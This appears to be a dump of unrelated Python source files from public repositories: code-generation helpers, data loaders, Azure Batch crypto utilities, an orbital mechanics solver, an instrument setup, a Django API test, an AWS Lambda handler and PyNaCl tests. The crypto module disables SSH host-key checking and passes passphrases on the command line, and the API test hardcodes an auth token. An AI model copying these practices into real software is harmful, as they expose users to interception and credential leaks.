src/trusted/validator_arm/dgen_output.py

kapkic/native_client

51c8bc8c249d55606232ae011bdfc8b4cab3d794

2021-12-23T00:36:43.000Z

2021-12-23T00:36:43.000Z

src/trusted/validator_arm/dgen_output.py

kapkic/native_client

51c8bc8c249d55606232ae011bdfc8b4cab3d794

src/trusted/validator_arm/dgen_output.py

kapkic/native_client

51c8bc8c249d55606232ae011bdfc8b4cab3d794

#!/usr/bin/python2 # # Copyright (c) 2012 The Native Client Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # """ Some common boilerplates and helper functions for source code generation in files dgen_test_output.py and dgen_decode_output.py. """ HEADER_BOILERPLATE ="""/* * Copyright 2013 The Native Client Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can * be found in the LICENSE file. */ // DO NOT EDIT: GENERATED CODE """ NOT_TCB_BOILERPLATE="""#ifndef NACL_TRUSTED_BUT_NOT_TCB #error This file is not meant for use in the TCB #endif """ NEWLINE_STR=""" """ COMMENTED_NEWLINE_STR=""" //""" """Adds comment '// ' string after newlines.""" def commented_string(str, indent=''): sep = NEWLINE_STR + indent + '//' str = str.replace(NEWLINE_STR, sep) # This second line is a hack to fix that sometimes newlines are # represented as '\n'. # TODO(karl) Find the cause of this hack, and fix it. return str.replace('\\n', sep) def ifdef_name(filename): """ Generates the ifdef name to use for the given filename""" return filename.replace("/", "_").replace(".", "_").upper() + "_" def GetNumberCodeBlocks(separators): """Gets the number of code blocks to break classes into.""" num_blocks = len(separators) + 1 assert num_blocks >= 2 return num_blocks def FindBlockIndex(filename, format, num_blocks): """Returns true if the filename matches the format with an index in the range [1, num_blocks].""" for block in range(1, num_blocks+1): suffix = format % block if filename.endswith(suffix): return block raise Exception("Can't find block index: %s" % filename) def GetDecodersBlock(n, separators, decoders, name_fcn): """Returns the (sorted) list of decoders to include in block n, assuming decoders are split using the list of separators.""" num_blocks = GetNumberCodeBlocks(separators) assert n > 0 and n <= num_blocks return [decoder for decoder in decoders if ((n == 1 or IsPrefixLeDecoder(separators[n-2], decoder, name_fcn)) and (n == num_blocks or not IsPrefixLeDecoder(separators[n-1], decoder, name_fcn)))] def IsPrefixLeDecoder(prefix, decoder, name_fcn): """Returns true if the prefix is less than or equal to the corresponding prefix length of the decoder name.""" decoder_name = name_fcn(decoder) prefix_len = len(prefix) decoder_len = len(decoder_name) decoder_prefix = (decoder_name[0:prefix_len] if prefix_len < decoder_len else decoder_name) return prefix <= decoder_prefix

0ac3e6f75c6ad2e83d2f026142ba224b4bab8c20

py

Python

src/data_loader/input_data_loader.py

ChristopherBrix/Debona

f000f3d483b2cc592233d0ba2a1a0327210562c8

2020-07-26T09:48:22.000Z

2021-09-30T01:51:13.000Z

src/data_loader/input_data_loader.py

ChristopherBrix/Debona

f000f3d483b2cc592233d0ba2a1a0327210562c8

2022-01-13T03:56:13.000Z

2022-03-12T01:03:29.000Z

src/data_loader/input_data_loader.py

ChristopherBrix/Debona

f000f3d483b2cc592233d0ba2a1a0327210562c8

""" Functions for loading input data. Author: Patrick Henriksen <patrick@henriksen.as> """ import os import numpy as np def load_img(path: str, img_nums: list, shape: tuple) -> np.array: """ Loads a image in the human-readable format. Args: path: The path to the to the folder with mnist images. img_nums: A list with the numbers of the images we want to load. shape: The shape of a single image. Returns: The images as a MxCx28x28 numpy array. """ images = np.zeros((len(img_nums), *shape), dtype=float) for idx, i in enumerate(img_nums): file = os.path.join(path, "image" + str(i)) with open(file, "r") as f: data = [float(pixel) for pixel in f.readlines()[0].split(",")[:-1]] images[idx, :, :] = np.array(data).reshape(*shape) return images def load_mnist_human_readable(path: str, img_nums: list) -> np.array: """ Loads a mnist image from the neurify dataset. Args: path: The path to the to the folder with mnist images. img_nums: A list with the numbers of the images we want to load. Returns: The images as a Mx28x28 numpy array. """ return load_img(path, img_nums, (28, 28)) def load_cifar10_human_readable(path: str, img_nums: list) -> np.array: """ Loads the Cifar10 images in human readable format. Args: path: The path to the to the folder with mnist images. img_nums: A list with the numbers of the images we want to load. Returns: The images as a Mx3x32x32 numpy array. """ return load_img(path, img_nums, (3, 32, 32)) def load_images_eran(img_csv: str = "../../resources/images/cifar10_test.csv", num_images: int = 100, image_shape: tuple = (3, 32, 32)) -> tuple: """ Loads the images from the eran csv. Args: The csv path Returns: images, targets """ num_images = 100 images_array = np.zeros((num_images, np.prod(image_shape)), dtype=np.float32) targets_array = np.zeros(num_images, dtype=int) with open(img_csv, "r") as file: for j in range(num_images): line_arr = file.readline().split(",") targets_array[j] = int(line_arr[0]) images_array[j] = [float(pixel) for pixel in line_arr[1:]] return images_array.reshape((num_images, *image_shape)), targets_array

0ac98e5cdb6676a542021f48c116aa5fa733e705

py

Python

convoy/crypto.py

hebinhuang/batch-shipyard

f87d94850380bee273eb51c5c35381952a5722b8

convoy/crypto.py

hebinhuang/batch-shipyard

f87d94850380bee273eb51c5c35381952a5722b8

convoy/crypto.py

hebinhuang/batch-shipyard

f87d94850380bee273eb51c5c35381952a5722b8

# Copyright (c) Microsoft Corporation # # All rights reserved. # # MIT License # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. # compat imports from __future__ import ( absolute_import, division, print_function, unicode_literals ) from builtins import ( # noqa bytes, dict, int, list, object, range, str, ascii, chr, hex, input, next, oct, open, pow, round, super, filter, map, zip) # stdlib imports import base64 import collections import getpass import logging import os try: import pathlib2 as pathlib except ImportError: import pathlib import tempfile import stat import subprocess # local imports from . import settings from . import util # create logger logger = logging.getLogger(__name__) util.setup_logger(logger) # global defines _SSH_KEY_PREFIX = 'id_rsa_shipyard' _REMOTEFS_SSH_KEY_PREFIX = '{}_remotefs'.format(_SSH_KEY_PREFIX) # named tuples PfxSettings = collections.namedtuple( 'PfxSettings', ['filename', 'passphrase', 'sha1']) def get_ssh_key_prefix(): # type: (None) -> str """Get SSH key prefix :rtype: str :return: ssh key prefix """ return _SSH_KEY_PREFIX def get_remotefs_ssh_key_prefix(): # type: (None) -> str """Get remote fs SSH key prefix :rtype: str :return: ssh key prefix for remote fs """ return _REMOTEFS_SSH_KEY_PREFIX def generate_rdp_password(): # type: (None) -> str """Generate an RDP password :rtype: str :return: rdp password """ return base64.b64encode(os.urandom(8)) def generate_ssh_keypair(export_path, prefix=None): # type: (str, str) -> tuple """Generate an ssh keypair for use with user logins :param str export_path: keypair export path :param str prefix: key prefix :rtype: tuple :return: (private key filename, public key filename) """ if util.is_none_or_empty(prefix): prefix = _SSH_KEY_PREFIX privkey = pathlib.Path(export_path, prefix) pubkey = pathlib.Path(export_path, prefix + '.pub') if privkey.exists(): old = pathlib.Path(export_path, prefix + '.old') if old.exists(): old.unlink() privkey.rename(old) if pubkey.exists(): old = pathlib.Path(export_path, prefix + '.pub.old') if old.exists(): old.unlink() pubkey.rename(old) logger.info('generating ssh key pair to path: {}'.format(export_path)) subprocess.check_call( ['ssh-keygen', '-f', str(privkey), '-t', 'rsa', '-N', '''''']) return (privkey, pubkey) def check_ssh_private_key_filemode(ssh_private_key): # type: (pathlib.Path) -> bool """Check SSH private key filemode :param pathlib.Path ssh_private_key: SSH private key :rtype: bool :return: private key filemode is ok """ def _mode_check(fstat, flag): return bool(fstat & flag) if util.on_windows(): return True fstat = ssh_private_key.stat().st_mode modes = frozenset((stat.S_IRWXG, stat.S_IRWXO)) return not any([_mode_check(fstat, x) for x in modes]) def connect_or_exec_ssh_command( remote_ip, remote_port, ssh_private_key, username, sync=True, shell=False, tty=False, ssh_args=None, command=None): # type: (str, int, pathlib.Path, str, bool, bool, tuple, tuple) -> bool """Connect to node via SSH or execute SSH command :param str remote_ip: remote ip address :param int remote_port: remote port :param pathlib.Path ssh_private_key: SSH private key :param str username: username :param bool sync: synchronous execution :param bool shell: execute with shell :param bool tty: allocate pseudo-tty :param tuple ssh_args: ssh args :param tuple command: command :rtype: int or subprocess.Process :return: return code or subprocess handle """ if not ssh_private_key.exists(): raise RuntimeError('SSH private key file not found at: {}'.format( ssh_private_key)) # ensure file mode is set properly for the private key if not check_ssh_private_key_filemode(ssh_private_key): logger.warning( 'SSH private key filemode is too permissive: {}'.format( ssh_private_key)) # execute SSH command ssh_cmd = [ 'ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'UserKnownHostsFile={}'.format(os.devnull), '-i', str(ssh_private_key), '-p', str(remote_port), ] if tty: ssh_cmd.append('-t') if util.is_not_empty(ssh_args): ssh_cmd.extend(ssh_args) ssh_cmd.append('{}@{}'.format(username, remote_ip)) if util.is_not_empty(command): ssh_cmd.extend(command) logger.info('{} node {}:{} with key {}'.format( 'connecting to' if util.is_none_or_empty(command) else 'executing command on', remote_ip, remote_port, ssh_private_key)) if sync: return util.subprocess_with_output(ssh_cmd, shell=shell) else: return util.subprocess_nowait_pipe_stdout( ssh_cmd, shell=shell, pipe_stderr=True) def derive_private_key_pem_from_pfx(pfxfile, passphrase=None, pemfile=None): # type: (str, str, str) -> str """Derive a private key pem file from a pfx :param str pfxfile: pfx file :param str passphrase: passphrase for pfx :param str pemfile: path of pem file to write to :rtype: str :return: path of pem file """ if pfxfile is None: raise ValueError('pfx file is invalid') if passphrase is None: passphrase = getpass.getpass('Enter password for PFX: ') # convert pfx to pem if pemfile is None: f = tempfile.NamedTemporaryFile(mode='wb', delete=False) f.close() pemfile = f.name try: # create pem from pfx subprocess.check_call( ['openssl', 'pkcs12', '-nodes', '-in', pfxfile, '-out', pemfile, '-password', 'pass:' + passphrase] ) except Exception: fp = pathlib.Path(pemfile) if fp.exists(): fp.unlink() pemfile = None return pemfile def derive_public_key_pem_from_pfx(pfxfile, passphrase=None, pemfile=None): # type: (str, str, str) -> str """Derive a public key pem file from a pfx :param str pfxfile: pfx file :param str passphrase: passphrase for pfx :param str pemfile: path of pem file to write to :rtype: str :return: path of pem file """ if pfxfile is None: raise ValueError('pfx file is invalid') if passphrase is None: passphrase = getpass.getpass('Enter password for PFX: ') # convert pfx to pem if pemfile is None: f = tempfile.NamedTemporaryFile(mode='wb', delete=False) f.close() pemfile = f.name try: # create pem from pfx subprocess.check_call( ['openssl', 'pkcs12', '-nodes', '-in', pfxfile, '-out', pemfile, '-password', 'pass:' + passphrase] ) # extract public key from private key subprocess.check_call( ['openssl', 'rsa', '-in', pemfile, '-pubout', '-outform', 'PEM', '-out', pemfile] ) except Exception: fp = pathlib.Path(pemfile) if fp.exists(): fp.unlink() pemfile = None return pemfile def _parse_sha1_thumbprint_openssl(output): # type: (str) -> str """Get SHA1 thumbprint from buffer :param str buffer: buffer to parse :rtype: str :return: sha1 thumbprint of buffer """ # return just thumbprint (without colons) from the above openssl command # in lowercase. Expected openssl output is in the form: # SHA1 Fingerprint=<thumbprint> return ''.join(util.decode_string( output).strip().split('=')[1].split(':')).lower() def get_sha1_thumbprint_pfx(pfxfile, passphrase): # type: (str, str) -> str """Get SHA1 thumbprint of PFX :param str pfxfile: name of the pfx file to export :param str passphrase: passphrase for pfx :rtype: str :return: sha1 thumbprint of pfx """ if pfxfile is None: raise ValueError('pfxfile is invalid') if passphrase is None: passphrase = getpass.getpass('Enter password for PFX: ') # compute sha1 thumbprint of pfx pfxdump = subprocess.check_output( ['openssl', 'pkcs12', '-in', pfxfile, '-nodes', '-passin', 'pass:' + passphrase] ) proc = subprocess.Popen( ['openssl', 'x509', '-noout', '-fingerprint'], stdin=subprocess.PIPE, stdout=subprocess.PIPE ) return _parse_sha1_thumbprint_openssl(proc.communicate(input=pfxdump)[0]) def get_sha1_thumbprint_pem(pemfile): # type: (str) -> str """Get SHA1 thumbprint of PEM :param str pfxfile: name of the pfx file to export :rtype: str :return: sha1 thumbprint of pem """ proc = subprocess.Popen( ['openssl', 'x509', '-noout', '-fingerprint', '-in', pemfile], stdout=subprocess.PIPE ) return _parse_sha1_thumbprint_openssl(proc.communicate()[0]) def generate_pem_pfx_certificates(config): # type: (dict) -> str """Generate a pem and a derived pfx file :param dict config: configuration dict :rtype: str :return: sha1 thumbprint of pfx """ # gather input pemfile = settings.batch_shipyard_encryption_public_key_pem(config) pfxfile = settings.batch_shipyard_encryption_pfx_filename(config) passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config) if pemfile is None: pemfile = util.get_input('Enter public key PEM filename to create: ') if pfxfile is None: pfxfile = util.get_input('Enter PFX filename to create: ') if passphrase is None: while util.is_none_or_empty(passphrase): passphrase = getpass.getpass('Enter password for PFX: ') if len(passphrase) == 0: print('passphrase cannot be empty') privatekey = pemfile + '.key' # generate pem file with private key and no password f = tempfile.NamedTemporaryFile(mode='wb', delete=False) f.close() try: subprocess.check_call( ['openssl', 'req', '-new', '-nodes', '-x509', '-newkey', 'rsa:2048', '-keyout', privatekey, '-out', f.name, '-days', '730', '-subj', '/C=US/ST=None/L=None/O=None/CN=BatchShipyard'] ) # extract public key from private key subprocess.check_call( ['openssl', 'rsa', '-in', privatekey, '-pubout', '-outform', 'PEM', '-out', pemfile] ) logger.debug('created public key PEM file: {}'.format(pemfile)) # convert pem to pfx for Azure Batch service subprocess.check_call( ['openssl', 'pkcs12', '-export', '-out', pfxfile, '-inkey', privatekey, '-in', f.name, '-certfile', f.name, '-passin', 'pass:', '-passout', 'pass:' + passphrase] ) logger.debug('created PFX file: {}'.format(pfxfile)) finally: # remove rsa private key file fp = pathlib.Path(privatekey) if fp.exists(): fp.unlink() # remove temp cert pem fp = pathlib.Path(f.name) if fp.exists(): fp.unlink() # get sha1 thumbprint of pfx return get_sha1_thumbprint_pfx(pfxfile, passphrase) def get_encryption_pfx_settings(config): # type: (dict) -> tuple """Get PFX encryption settings from configuration :param dict config: configuration settings :rtype: tuple :return: pfxfile, passphrase, sha1 tp """ pfxfile = settings.batch_shipyard_encryption_pfx_filename(config) pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config) sha1_cert_tp = settings.batch_shipyard_encryption_pfx_sha1_thumbprint( config) # manually get thumbprint of pfx if not exists in config if util.is_none_or_empty(sha1_cert_tp): if pfx_passphrase is None: pfx_passphrase = getpass.getpass('Enter password for PFX: ') sha1_cert_tp = get_sha1_thumbprint_pfx(pfxfile, pfx_passphrase) settings.set_batch_shipyard_encryption_pfx_sha1_thumbprint( config, sha1_cert_tp) return PfxSettings( filename=pfxfile, passphrase=pfx_passphrase, sha1=sha1_cert_tp) def _rsa_encrypt_string(data, config): # type: (str, dict) -> str """RSA encrypt a string :param str data: clear text data to encrypt :param dict config: configuration dict :rtype: str :return: base64-encoded cipher text """ if util.is_none_or_empty(data): raise ValueError('invalid data to encrypt') inkey = settings.batch_shipyard_encryption_public_key_pem(config) derived = False if inkey is None: # derive pem from pfx derived = True pfxfile = settings.batch_shipyard_encryption_pfx_filename(config) pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase( config) inkey = derive_public_key_pem_from_pfx(pfxfile, pfx_passphrase, None) try: if inkey is None: raise RuntimeError('public encryption key is invalid') proc = subprocess.Popen( ['openssl', 'rsautl', '-encrypt', '-pubin', '-inkey', inkey], stdin=subprocess.PIPE, stdout=subprocess.PIPE) ciphertext = util.base64_encode_string( proc.communicate(input=util.encode_string(data))[0]) if proc.returncode != 0: raise RuntimeError( 'openssl encryption failed with returncode: {}'.format( proc.returncode)) return ciphertext finally: if derived: fp = pathlib.Path(inkey) if fp.exists(): fp.unlink() def _rsa_decrypt_string_with_pfx(ciphertext, config): # type: (str, dict) -> str """RSA decrypt a string :param str ciphertext: cipher text in base64 :param dict config: configuration dict :rtype: str :return: decrypted cipher text """ if util.is_none_or_empty(ciphertext): raise ValueError('invalid ciphertext to decrypt') pfxfile = settings.batch_shipyard_encryption_pfx_filename(config) pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config) pemfile = derive_private_key_pem_from_pfx(pfxfile, pfx_passphrase, None) if pemfile is None: raise RuntimeError('cannot decrypt without valid private key') cleartext = None try: data = util.base64_decode_string(ciphertext) proc = subprocess.Popen( ['openssl', 'rsautl', '-decrypt', '-inkey', pemfile], stdin=subprocess.PIPE, stdout=subprocess.PIPE) cleartext = proc.communicate(input=data)[0] finally: fp = pathlib.Path(pemfile) if fp.exists(): fp.unlink() return cleartext def encrypt_string(enabled, string, config): # type: (bool, str, dict) -> str """Encrypt a string :param bool enabled: if encryption is enabled :param str string: string to encrypt :param dict config: configuration dict :rtype: str :return: encrypted string if enabled """ if enabled: return _rsa_encrypt_string(string, config) else: return string

0accac5244ae00b90c3dcaa313e0ad6674cf5f7f

py

Python

kepler.py

mdbernard/astrodynamics

cf98df6cd17086e3675c1f7c2fce342d5322ee51

kepler.py

mdbernard/astrodynamics

cf98df6cd17086e3675c1f7c2fce342d5322ee51

2020-11-10T02:37:15.000Z

2022-02-07T01:11:29.000Z

kepler.py

mdbernard/astrodynamics

cf98df6cd17086e3675c1f7c2fce342d5322ee51

import numpy as np from stumpff import C, S from CelestialBody import BODIES from numerical import newton, laguerre from lagrange import calc_f, calc_fd, calc_g, calc_gd def kepler_chi(chi, alpha, r0, vr0, mu, dt): ''' Kepler's Equation of the universal anomaly, modified for use in numerical solvers. ''' z = alpha*chi**2 return (r0*vr0/np.sqrt(mu))*chi**2*C(z) + \ (1 - alpha*r0)*chi**3*S(z) + \ r0*chi - np.sqrt(mu)*dt def dkepler_dchi(chi, alpha, r0, vr0, mu, dt): ''' Derivative of Kepler's Equation of the universal anomaly, modified for use in numerical solvers. ''' z = alpha*chi**2 return (r0*vr0/np.sqrt(mu))*chi*(1 - alpha*chi**2*S(z)) + \ (1 - alpha*r0)*chi**2*C(z) + r0 def d2kepler_dchi2(chi, alpha, r0, vr0, mu, dt): ''' Second derivative of Kepler's Equation of the universal anomaly, modified for use in numerical solvers. ''' z = alpha*chi**2 S_ = S(z) return (r0*vr0/np.sqrt(mu))*(1 - 3*z*S_ + z*(C(z) - 3*S_)) + \ chi*(1 - z*S_)*(1 - alpha*r0) def solve_kepler_chi(r_0, v_0, dt, body=BODIES['Earth'], method='laguerre', tol=1e-7, max_iters=100): ''' Solve Kepler's Equation of the universal anomaly chi using the specified numerical method. Applies Algorithm 3.4 from Orbital Mechanics for Engineering Students, 4 ed, Curtis. :param r_0: `iterable` (km) initial position 3-vector :param v_0: `iterable` (km/s) initial velocity 3-vector :param dt: `float` (s) time after initial state to solve for r, v as 3-vectors :param body: `CelestialBody` (--) the celestial body to use for orbital parameters :param method: `str` (--) which numerical method to use to solve Kepler's Equation :param tol: `float` (--) decimal tolerance for numerical method (default 1e-7 is IEEE 745 single precision) :param max_iters: `int` (--) maximum number of iterations in numerical method before breaking :return: (km) final position 3-vector, (km/s) final velocity 3-vector ''' VALID_METHODS = ('laguerre', 'newton') mu = body.mu # (km**3/s**2) gravitational parameter of the specified primary body r0 = np.linalg.norm(r_0) # (km) initial position magnitude v0 = np.linalg.norm(v_0) # (km/s) initial velocity magnitude vr0 = np.dot(v_0, r_0)/r0 # (km/s) initial radial velocity magnitude alpha = 2/r0 - v0**2/mu # (1/km) inverse of semi-major axis chi0 = np.sqrt(mu)*np.abs(alpha)*dt if method not in VALID_METHODS: print(f'Method \'{method}\' is not valid, must be one of {VALID_METHODS}.\nDefaulting to laguerre method.') chi, _, _ = laguerre(chi0, kepler_chi, dkepler_dchi, d2kepler_dchi2, alpha, r0, vr0, mu, dt) elif method == 'newton': chi, _, _ = newton(chi0, kepler_chi, dkepler_dchi, alpha, r0, vr0, mu, dt) else: # method == 'laguerre' chi, _, _ = laguerre(chi0, kepler_chi, dkepler_dchi, d2kepler_dchi2, alpha, r0, vr0, mu, dt) f = calc_f(chi, r0, alpha) g = calc_g(dt, mu, chi, alpha) r_1 = f*r_0 + g*v_0 r1 = np.linalg.norm(r_1) fd = calc_fd(mu, r1, r0, alpha, chi) gd = calc_gd(chi, r1, alpha) v_1 = fd*r_0 + gd*v_0 return r_1, v_1 def solve_kepler_E(e, Me, tol=1e-7, max_iters=100): ''' Solve Kepler's Equation in the form containing Eccentric Anomaly (E), eccentricity (e), and Mean Anomaly of Ellipse (Me). Uses Algorithm 3.1 from Orbital Mechanics for Engineering Students, 4 ed, Curtis. ''' # TODO: have this function make use of one of the numerical methods in numerical.py def f(E, e, Me): return E - e*np.sin(E) - Me def fp(E, e): return 1 - e*np.cos(E) E = Me + e/2 if Me < np.pi else Me - e/2 ratio = f(E, e, Me)/fp(E, e) iters = 0 while abs(ratio) > tol and iters < max_iters: E -= ratio ratio = f(E, e, Me)/fp(E, e) iters += 1 E -= ratio converged = np.abs(ratio) <= tol return E, iters, converged def test(): ''' Test the functionality of solve_kepler_chi and solve_kepler_laguerre using Problem 3.20 from Orbital Mechanics for Engineering Students, 4 ed, Curtis. ''' # given starting information Earth = BODIES['Earth'] # `CelestialBody` (--) Earth and all the Earth things r_0 = np.array([20000, -105000, -19000]) # (km) initial position vector v_0 = np.array([0.9, -3.4, -1.5]) # (km/s) initial velocity vector dt = 2*60*60 # (s) time of interest after initial time # given correct answer from textbook correct_r_1 = np.array([26338, -128750, -29656]) # (km) final position vector correct_v_1 = np.array([0.86280, -3.2116, -1.4613]) # (km/s) final velocity vector # solve using above methods r_n, v_n = solve_kepler_chi(r_0, v_0, dt, Earth, method='newton') r_l, v_l = solve_kepler_chi(r_0, v_0, dt, Earth, method='laguerre') # check correctness # tolerance based on significant figures of given answers newton_valid = np.allclose(r_n, correct_r_1, atol=1) and np.allclose(v_n, correct_v_1, atol=1e-4) laguerre_valid = np.allclose(r_l, correct_r_1, atol=1) and np.allclose(v_l, correct_v_1, atol=1e-4) return all([newton_valid, laguerre_valid]) if __name__ == '__main__': print(test())

0acd26a6aeb9fbb21484a68cd667f26b74d856f7

py

Python

nicos_demo/vpgaa/setups/pgai.py

jkrueger1/nicos

5f4ce66c312dedd78995f9d91e8a6e3c891b262b

2019-11-06T15:40:36.000Z

2022-01-01T16:23:00.000Z

nicos_demo/vpgaa/setups/pgai.py

jkrueger1/nicos

5f4ce66c312dedd78995f9d91e8a6e3c891b262b

2020-08-18T09:20:26.000Z

2022-02-01T11:07:14.000Z

nicos_demo/vpgaa/setups/pgai.py

jkrueger1/nicos

5f4ce66c312dedd78995f9d91e8a6e3c891b262b

2020-01-11T10:52:30.000Z

2022-02-25T12:35:23.000Z

description = 'PGAA setup with XYZOmega sample table' group = 'basic' sysconfig = dict( datasinks = ['mcasink', 'chnsink', 'csvsink', 'livesink'] ) includes = [ 'system', 'reactor', 'nl4b', 'pressure', 'sampletable', 'pilz', 'detector', 'collimation', ] devices = dict( mcasink = device('nicos_mlz.pgaa.devices.MCASink', settypes = {'point'}, detectors = ['_60p', 'LEGe'], ), chnsink = device('nicos_mlz.pgaa.devices.CHNSink', settypes = {'point'}, detectors = ['_60p', 'LEGe'], ), csvsink = device('nicos_mlz.pgaa.devices.CSVDataSink', settypes = {'point'}, ), ) startupcode = """ SetDetectors('_60p', 'LEGe') SetEnvironment(chamber_pressure) printinfo("============================================================") printinfo("Welcome to the NICOS PGAI demo setup.") printinfo("============================================================") """

0ad2792c4efbba79b47edb4a13bc47fda219fd40

py

Python

icarus/models/service/__init__.py

oascigil/icarus_edge_comp

b7bb9f9b8d0f27b4b01469dcba9cfc0c4949d64b

2021-03-20T09:22:55.000Z

2021-12-20T17:01:33.000Z

icarus/models/service/__init__.py

oascigil/icarus_edge_comp

b7bb9f9b8d0f27b4b01469dcba9cfc0c4949d64b

2021-12-13T07:40:46.000Z

2021-12-20T16:59:08.000Z

icarus/models/service/__init__.py

oascigil/icarus_edge_comp

b7bb9f9b8d0f27b4b01469dcba9cfc0c4949d64b

2021-11-25T05:42:20.000Z

2021-11-25T05:42:20.000Z

# -*- coding: utf-8 -*- from .compSpot import *

0adb9e87674ba38043bf368fb738d4c5e8ba7c5c

py

Python

escola/teste_get.py

danielrosendos/djangoRestFramework

946bb95b8dd9976d1920302ce724572ffd9f98cf

2020-07-26T15:17:23.000Z

2020-07-26T16:50:18.000Z

escola/teste_get.py

sport129/djangoRestFramework

946bb95b8dd9976d1920302ce724572ffd9f98cf

2021-03-30T14:12:18.000Z

2021-06-04T23:44:47.000Z

escola/teste_get.py

sport129/djangoRestFramework

946bb95b8dd9976d1920302ce724572ffd9f98cf

import requests headers = { 'content-type': 'application/json', 'Authorization': 'Token 80ca9f249b80e7226cdc7fcaada8d7297352f0f9' } url_base_cursos = 'http://127.0.0.1:8000/api/v2/cursos' url_base_avaliacoes = 'http://127.0.0.1:8000/api/v2/avaliacoes' resultado = requests.get(url=url_base_cursos, headers=headers) assert resultado.status_code == 200

0add5b092c6c665d2b618a20a05d4cd299d00402

py

Python

src/handler.py

MrIgumnov96/ETL-CloudDeployment

666b85a9350460fba49f82ec90f5cddc0bdd0235

src/handler.py

MrIgumnov96/ETL-CloudDeployment

666b85a9350460fba49f82ec90f5cddc0bdd0235

src/handler.py

MrIgumnov96/ETL-CloudDeployment

666b85a9350460fba49f82ec90f5cddc0bdd0235

import boto3 import src.app as app import csv import psycopg2 as ps import os from dotenv import load_dotenv load_dotenv() dbname = os.environ["db"] host = os.environ["host"] port = os.environ["port"] user = os.environ["user"] password = os.environ["pass"] connection = ps.connect(dbname=dbname, host=host, port=port, user=user, password=password) def handle(event, context): cursor = connection.cursor() cursor.execute("SELECT 1", ()) print(cursor.fetchall()) # Get key and bucket informaition key = event['Records'][0]['s3']['object']['key'] bucket = event['Records'][0]['s3']['bucket']['name'] # use boto3 library to get object from S3 s3 = boto3.client('s3') s3_object = s3.get_object(Bucket = bucket, Key = key) data = s3_object['Body'].read().decode('utf-8') all_lines = [] # read CSV # csv_data = csv.reader(data.splitlines()) # for row in csv_data: # datestr = row[0] #.replace('/', '-') # # print(datestr) # date_obj = datetime.strptime(datestr, '%d/%m/%Y %H:%M') # # print(date_obj) # # time = str(row[0][-5:]) # location = str(row[1]) # order = str(row[3]) # total = str(row[4]) # all_lines.append({'date':date_obj, 'location':location, 'order':order, 'total':total}) # return cached_list # print(all_lines) app.start_app(all_lines, data) print_all_lines = [print(line) for line in all_lines] print_all_lines return {"message": "success!!! Check the cloud watch logs for this lambda in cloudwatch https://eu-west-1.console.aws.amazon.com/cloudwatch/home?region=eu-west-1#logsV2:log-groups"} # Form all the lines of data into a list of lists # all_lines = [line for line in csv_data] # print(data) # print(all_lines)

0aee1a078e80effb05eed8b8321db099a4b35623

py

Python

tests/test_utils.py

isabella232/pynacl

b3f6c320569d858ba61d4bdf2ac788564528c1c9

2015-01-03T17:49:44.000Z

2022-03-31T13:54:33.000Z

tests/test_utils.py

isabella232/pynacl

b3f6c320569d858ba61d4bdf2ac788564528c1c9

2015-01-02T10:54:33.000Z

2022-03-05T18:47:01.000Z

tests/test_utils.py

isabella232/pynacl

b3f6c320569d858ba61d4bdf2ac788564528c1c9

2015-01-09T00:48:01.000Z

2022-03-26T08:53:32.000Z

# Copyright 2013 Donald Stufft and individual contributors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import pytest import nacl.secret import nacl.utils def test_random_bytes_produces(): assert len(nacl.utils.random(16)) == 16 def test_random_bytes_produces_different_bytes(): assert nacl.utils.random(16) != nacl.utils.random(16) def test_string_fixer(): assert str(nacl.secret.SecretBox(b"\x00" * 32)) == str(b"\x00" * 32) def test_deterministic_random_bytes(): expected = ( b"0d8e6cc68715648926732e7ea73250cfaf2d58422083904c841a8ba" b"33b986111f346ba50723a68ae283524a6bded09f83be6b80595856f" b"72e25b86918e8b114bafb94bc8abedd73daab454576b7c5833eb0bf" b"982a1bb4587a5c970ff0810ca3b791d7e12" ) seed = ( b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d" b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b" b"\x1c\x1d\x1e\x1f" ) assert ( nacl.utils.randombytes_deterministic( 100, seed, encoder=nacl.utils.encoding.HexEncoder ) == expected ) def test_deterministic_random_bytes_invalid_seed_length(): expected = "Deterministic random bytes must be generated from 32 bytes" seed = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a" with pytest.raises(TypeError) as e: nacl.utils.randombytes_deterministic(100, seed) assert expected in str(e.value)

0af65b8666e4023ddc4b24aa0b03dd9c64d6dd98

py

Python

dreamplace/ops/dct/discrete_spectral_transform.py

dongleecsu/DREAMPlace

86b56521a3eacfb5cadff935631302bf6986a689

2022-03-01T06:46:42.000Z

2022-03-27T03:40:45.000Z

dreamplace/ops/dct/discrete_spectral_transform.py

dongleecsu/DREAMPlace

86b56521a3eacfb5cadff935631302bf6986a689

2022-03-08T13:00:01.000Z

2022-03-30T10:07:01.000Z

